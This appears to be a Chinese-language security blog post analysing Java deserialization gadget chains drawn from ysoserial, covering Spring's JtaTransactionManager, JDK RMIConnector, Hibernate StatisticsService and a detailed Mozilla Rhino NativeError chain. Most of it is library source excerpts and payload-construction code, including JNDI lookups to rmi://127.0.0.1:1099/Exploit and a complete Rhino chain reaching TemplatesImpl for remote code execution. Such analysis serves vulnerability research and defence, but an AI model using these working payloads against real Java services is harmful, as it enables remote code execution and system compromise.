前言 看文章提到 ysoserial 里面的一条反序列化链,结果一看流程相当复杂,所以研究一下。
倒是没有什么新的知识。
org.springframework.transaction.jta.JtaTransactionManager(maven) 一个 readObject 可以直接触发 JNDI lookup 的类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 private void readObject (ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); this .jndiTemplate = new JndiTemplate (); initUserTransactionAndTransactionManager(); initTransactionSynchronizationRegistry(); } ...protected void initUserTransactionAndTransactionManager () throws TransactionSystemException { if (this .userTransaction == null ) { if (StringUtils.hasLength(this .userTransactionName)) { this .userTransaction = lookupUserTransaction(this .userTransactionName); this .userTransactionObtainedFromJndi = true ; } else { this .userTransaction = retrieveUserTransaction(); if (this .userTransaction == null && this .autodetectUserTransaction) { this .userTransaction = findUserTransaction(); } } } ... } ...protected UserTransaction lookupUserTransaction (String userTransactionName) throws TransactionSystemException { try { if (logger.isDebugEnabled()) { logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]" ); } return getJndiTemplate().lookup(userTransactionName, UserTransaction.class); } catch (NamingException ex) { throw new TransactionSystemException ( "JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]" , ex); } } ...public Object lookup (final String name) throws NamingException { if (logger.isDebugEnabled()) { logger.debug("Looking up JNDI object with name [" + name + "]" ); } Object result = execute(ctx -> ctx.lookup(name)); if (result == null ) { throw new NameNotFoundException ( "JNDI object with [" + name + "] not found: JNDI implementation returned null" ); } return result; }
所以 payload 构造也很简单:
1 2 3 JtaTransactionManager jtaTransactionManager = new JtaTransactionManager (); jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit" ); unserialize(serialize(jtaTransactionManager));
javax.management.remote.rmi.RMIConnector(JDK) 要配合能无参或以 Map/null 为参数调用任意方法的反序列化链使用,connect 方法可以触发 lookup:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public synchronized void connect (Map<String,?> environment) throws IOException { ... RMIServer stub = (rmiServer!=null )?rmiServer: findRMIServer(jmxServiceURL, usemap); ... } ...private RMIServer findRMIServer (JMXServiceURL directoryURL, Map<String, Object> environment) throws NamingException, IOException { ... if (path.startsWith("/jndi/" )) return findRMIServerJNDI(path.substring(6 ,end), environment, isIiop); ... } ...private RMIServer findRMIServerJNDI (String jndiURL, Map<String, ?> env, boolean isIiop) throws NamingException { ... InitialContext ctx = new InitialContext (EnvHelp.mapToHashtable(env)); Object objref = ctx.lookup(jndiURL); ... }
payload 构造也很简单,理一下流程调试一下就好了:
1 2 3 4 JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi://" ); setFieldValue(jmxServiceURL, "urlPath" , "/jndi/rmi://127.0.0.1:1099/Exploit" ); RMIConnector rmiConnector = new RMIConnector (jmxServiceURL, null ); rmiConnector.connect();
org.hibernate.jmx.StatisticsService(maven) 要配合能以 String 为参数调用任意方法的反序列化链使用,setSessionFactoryJNDIName 方法会 lookup:
1 2 3 4 5 6 7 8 9 public void setSessionFactoryJNDIName (String sfJNDIName) { this .sfJNDIName = sfJNDIName; try { final SessionFactory sessionFactory; final Object jndiValue = new InitialContext ().lookup( sfJNDIName ); ... } ... }
实在太简单就不构造了。
要配合能无参调用任意方法的反序列化链使用,execute 会 lookup:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public void execute () throws SQLException { this .prepare(); ... } ...protected PreparedStatement prepare () throws SQLException { this .conn = this .connect(); ... } ...private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); ... } ... } ... }
也很简单,不构建了。
org.mozilla.javascript.NativeError(maven) 一条相当复杂的反序列化链,可以利用包内类的 invoke 进行任意无参方法调用,有参方法调用可能也可以,但是要经过 Context 的 jsToJava 方法,更加麻烦,一般来说调用无参方法已经够了,可以利用 TemplatesImpl 类实现 RCE。
众所周知,JDK 里面有一个类 BadAttributeValueExpException,可以调用任意类的 toString 方法,而 NativeError 的 toString 方法正好有特殊的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 public String toString () { return js_toString(this ); } ...private static String js_toString (Scriptable thisObj) { return getString(thisObj, "name" )+": " +getString(thisObj, "message" ); } ...private static String getString (Scriptable obj, String id) { Object value = ScriptableObject.getProperty(obj, id); ... } ...public static Object getProperty (Scriptable obj, String name) { Scriptable start = obj; Object result; do { result = obj.get(name, start); if (result != Scriptable.NOT_FOUND) break ; obj = obj.getPrototype(); } while (obj != null ); return result; } ...public Object get (String name, Scriptable start) { ... return super .get(name, start); } ...public Object get (String name, Scriptable start) { return getImpl(name, 0 , start); } ...private Object getImpl (String name, int index, Scriptable start) { Slot slot = getSlot(name, index, SLOT_QUERY); if (slot == null ) { return Scriptable.NOT_FOUND; } if (!(slot instanceof GetterSlot)) { return slot.value; } Object getterObj = ((GetterSlot)slot).getter; if (getterObj != null ) { if (getterObj instanceof MemberBox) { MemberBox nativeGetter = (MemberBox)getterObj; Object getterThis; Object[] args; if (nativeGetter.delegateTo == null ) { getterThis = start; args = ScriptRuntime.emptyArgs; } else { getterThis = nativeGetter.delegateTo; args = new Object [] { start }; } return nativeGetter.invoke(getterThis, args); } else { Function f = (Function)getterObj; Context cx = Context.getContext(); return f.call(cx, f.getParentScope(), start, ScriptRuntime.emptyArgs); } } ... }
可以看到,getImpl 方法里面有危险的操作,而 getterObj 是 Object 类型,来自 name 相对应的 slot 的 getter,是可控参数。所以 invoke 和 call 方法都有可能导致任意方法执行。我们先来看一下 invoke,执行的方法的参数是我们无法控制的,而且目标对象要继承 MemberBox,所以这里不是很好利用,最简单的利用方式是用来调用一个无参静态方法,因为反射调用静态方法是会忽略目标对象的。
然后再看看 call,能调用一个继承了 Function 接口的类的 call 方法,而 NativeJavaMethod 类正好用得上:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 public Object call (Context cx, Scriptable scope, Scriptable thisObj, Object[] args) { ... int index = findFunction(cx, methods, args); ... MemberBox meth = methods[index]; Class<?>[] argTypes = meth.argTypes; if (meth.vararg) { ... } else { Object[] origArgs = args; for (int i = 0 ; i < args.length; i++) { Object arg = args[i]; Object coerced = Context.jsToJava(arg, argTypes[i]); if (coerced != arg) { if (origArgs == args) { args = args.clone(); } args[i] = coerced; } } } Object javaObject; if (meth.isStatic()) { javaObject = null ; } else { Scriptable o = thisObj; Class<?> c = meth.getDeclaringClass(); for (;;) { if (o == null ) { throw Context.reportRuntimeError3( "msg.nonjava.method" , getFunctionName(), ScriptRuntime.toString(thisObj), c.getName()); } if (o instanceof Wrapper) { javaObject = ((Wrapper)o).unwrap(); if (c.isInstance(javaObject)) { break ; } } o = o.getPrototype(); } } ... Object retval = meth.invoke(javaObject, args); }
meth 来自 methods,findFunction 会返回 0,可控;args 是空,代表调用无参方法;javaObject 来自继承了 Wrapper 接口的对象的 unwrap 方法,而该对象又来自 thisObj,即 NativeError 的 getPrototype 方法:
1 2 3 4 public Scriptable getPrototype () { return prototypeObject; }
要求继承了 Scriptable 接口,而且 unwrap 方法的返回可控,NativeJavaObject 类符合这个要求:
1 2 3 public Object unwrap () { return javaObject; }
至此,我们可以通过 call 调用任意类的无参函数,可以利用 TemplatesImpl RCE 了。但是构造的 payload 在反序列化时会发现一个问题,发生在 NativeJavaObject 的 initMembers 方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 protected void initMembers () { ... members = JavaMembers.lookupClass(parent, dynamicType, staticType, isAdapter); ... }static JavaMembers lookupClass (Scriptable scope, Class<?> dynamicType, Class<?> staticType, boolean includeProtected) { ... scope = ScriptableObject.getTopLevelScope(scope); ClassCache cache = ClassCache.get(scope); ... }public static ClassCache get (Scriptable scope) { ClassCache cache = (ClassCache)ScriptableObject.getTopScopeValue(scope, AKEY); ... }public static Object getTopScopeValue (Scriptable scope, Object key) { scope = ScriptableObject.getTopLevelScope(scope); for (;;) { if (scope instanceof ScriptableObject) { ScriptableObject so = (ScriptableObject)scope; Object value = so.getAssociatedValue(key); if (value != null ) { return value; } } scope = scope.getPrototype(); if (scope == null ) { return null ; } } }
简单来说,就是 NativeJavaObject 对象的 parent 成员的 associatedValues 这个 Map 中缺少键为 ClassCache 的值,需要修改 NativeJavaObject 的生成方式:
1 2 3 ScriptableObject nativeObject = (ScriptableObject)NativeErrorConstructor.newInstance(); (new ClassCache ()).associate(nativeObject);NativeJavaObject nativeJavaObject = new NativeJavaObject (nativeObject, getTemplatesImpl(), TemplatesImpl.class);
然后又会发现另一个问题:
1 Exception in thread "main" java.lang.RuntimeException: No Context associated with current Thread
追踪一下会发现问题出在这里:
1 2 3 4 5 6 7 Context cx = Context.getContext();Context cx = getCurrentContext();Object helper = VMBridge.instance.getThreadContextHelper();return VMBridge.instance.getContext(helper);
简单来说,就是这个时候获取不到 JavaScript 上下文环境,所以要在调用 call 之前先 setContext。而 js_toString 正好有两个 getString,说明我们可以执行两次方法。我们先观察一下要怎么 setContext,可以发现 Context 的静态无参方法 enter 最后会有一个 setContext 的操作,所以我们只需要用 name 调用 enter,再用 message 调用 TemplatesImpl 即可。因为 prototypeObject 只能有一个,所以 enter 我们可以通过 getImpl 里面 MemberBox 的 invoke 方法来调用,最后的 payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Constructor NativeErrorConstructor = Class.forName("org.mozilla.javascript.NativeError" ).getDeclaredConstructor(); NativeErrorConstructor.setAccessible(true );ScriptableObject scriptableObject = (ScriptableObject)NativeErrorConstructor.newInstance();Method newTransformerMethod = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" ).getDeclaredMethod("newTransformer" );NativeJavaMethod newTransformer = new NativeJavaMethod (newTransformerMethod, "message" ); scriptableObject.setGetterOrSetter("message" , 0 , newTransformer, false );Method enterMethod = Context.class.getDeclaredMethod("enter" );NativeJavaMethod enter = new NativeJavaMethod (enterMethod, "name" ); scriptableObject.setGetterOrSetter("name" , 0 , enter, false );Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox" );Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class); memberboxClassConstructor.setAccessible(true );Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot" , String.class, int .class, int .class); getSlot.setAccessible(true );Object slot = getSlot.invoke(scriptableObject, "name" , 0 , 1 ); setFieldValue(slot, "getter" , memberboxClass);ScriptableObject nativeObject = (ScriptableObject)NativeErrorConstructor.newInstance(); (new ClassCache ()).associate(nativeObject);NativeJavaObject nativeJavaObject = new NativeJavaObject (nativeObject, getTemplatesImpl(), TemplatesImpl.class); scriptableObject.setPrototype(nativeJavaObject);BadAttributeValueExpException obj = new BadAttributeValueExpException (null ); setFieldValue(obj, "val" , scriptableObject);
ysoserial 里面还有一个 MozillaRhino2 的payload,里面有详细的利用链,流程也不复杂,通过第一次反序列化调用的 readAdapterObject 里面的 in.readObject 反序列化第二个 NativeJavaObject,实现两次反射调用。暂时不研究了,留个坑。
参考文章:
https://www.anquanke.com/post/id/194384
https://codewhitesec.blogspot.com/2016/05/return-of-rhino-old-gadget-revisited.html